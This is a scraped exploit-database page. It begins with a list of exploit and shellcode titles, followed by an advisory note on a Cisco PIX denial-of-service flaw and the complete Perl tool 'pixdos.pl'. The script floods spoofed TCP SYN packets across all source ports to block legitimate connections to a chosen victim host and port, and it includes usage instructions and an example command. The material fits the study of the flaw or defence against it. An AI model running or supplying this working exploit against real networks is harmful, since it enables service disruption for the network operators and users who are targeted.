880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
111 lines
No EOL
3.3 KiB
Perl
Executable file
111 lines
No EOL
3.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/15525/info
|
|
|
|
Cisco PIX is susceptible to a remote denial-of-service vulnerability when handling certain TCP SYN packets.
|
|
|
|
This issue allows attackers to temporarily block network traffic to arbitrarily targeted TCP services. By repeating the attack, a prolonged denial-of-service condition is possible.
|
|
|
|
This issue is tracked by the following Cisco Bug IDs:
|
|
- CSCsc14915: PIX 6.3 Spoofed TCP SYN packets can block legitimate TCP connections
|
|
- CSCsc16014: PIX 7.0 Spoofed TCP SYN packets can block legitimate TCP connections
|
|
|
|
#!/usr/bin/perl
|
|
eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;
|
|
eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@;
|
|
eval ("use Term::ProgressBar;");die "[error] Term::ProgressBar perl module is not installed \n" if $@;
|
|
my $VERSION = "0.1";
|
|
print "$0, $PgmName, V $VERSION \n";
|
|
GetOptions (
|
|
"help" =>\$usage,
|
|
"device=s" => \$device,
|
|
"source=s" =>\$sourceip,
|
|
"dest=s"=>\$destip,
|
|
"sourcemac=s"=>\$sourcemac,
|
|
"destmac=s"=>\$destmac,
|
|
"port=n"=> \$tcpport,
|
|
);
|
|
|
|
######################## Config option #############################################
|
|
|
|
my $timeout = "0,1"; # Timeout
|
|
|
|
if ($usage) {&usage;}
|
|
|
|
if (!$device) {
|
|
$device= 'eth0'; # Network device
|
|
}
|
|
|
|
if (!$destmac) {print "Dest MAC not found \n"; &usage;}
|
|
if (!$sourceip) {print "Source IP not found \n"; &usage;}
|
|
if (!$destip) {print "Dest IP not found \n"; &usage;}
|
|
if (!$tcpport) {print "TCP port not found \n"; &usage;}
|
|
|
|
my $syn="1"; # TCP SYN SET
|
|
my $tcpdata = "TEST"; # TCP payload
|
|
my $count=0;
|
|
|
|
####################################################################################
|
|
|
|
#Initialize Progres Bar
|
|
my $progress = Term::ProgressBar->new(32768);
|
|
$progress->minor(0);
|
|
$packet = new Net::RawIP;
|
|
$packet-> ethnew($device);
|
|
|
|
|
|
if (!$sourcemac) {
|
|
$packet -> ethset( dest => $destmac);
|
|
}else {
|
|
$packet -> ethset( source =>$sourcemac, dest => $destmac);
|
|
}
|
|
|
|
|
|
|
|
for ($count=0; $count< 65537 ; $count++) {
|
|
|
|
$packet->set({
|
|
|
|
ip => {
|
|
saddr => $sourceip,
|
|
daddr => $destip
|
|
},
|
|
|
|
tcp => {
|
|
check => 0x0010 , # TCP Packet Checksum 0 for auto correct
|
|
source => $count,
|
|
dest => $tcpport,
|
|
syn => $syn,
|
|
data => $tcpdata
|
|
}});
|
|
$packet->ethsend($timeout);
|
|
#$packet->send($timeout);
|
|
|
|
$progress->update($_);
|
|
$count++;
|
|
}
|
|
|
|
sub usage {
|
|
print <<EOF ;
|
|
This program was originally written in the due course of writing
|
|
"Hacking Exposed Cisco Networks: Cisco Security Secrets and Solutions" book.
|
|
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs
|
|
and comments to info@arhont.com
|
|
|
|
usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC]
|
|
[--destmac=MAC] [--port=n]
|
|
|
|
Options:
|
|
|
|
--help This message
|
|
--device Network interface (defaut set eth0)
|
|
--source Victim source IP
|
|
--dest Victim destination IP
|
|
--sourcemac Victim source MAC
|
|
--destmac MAC Address of the gateway
|
|
--port TCP port
|
|
|
|
Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest 192.168.55.111 \
|
|
--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22
|
|
EOF
|
|
|
|
exit shift;
|
|
} |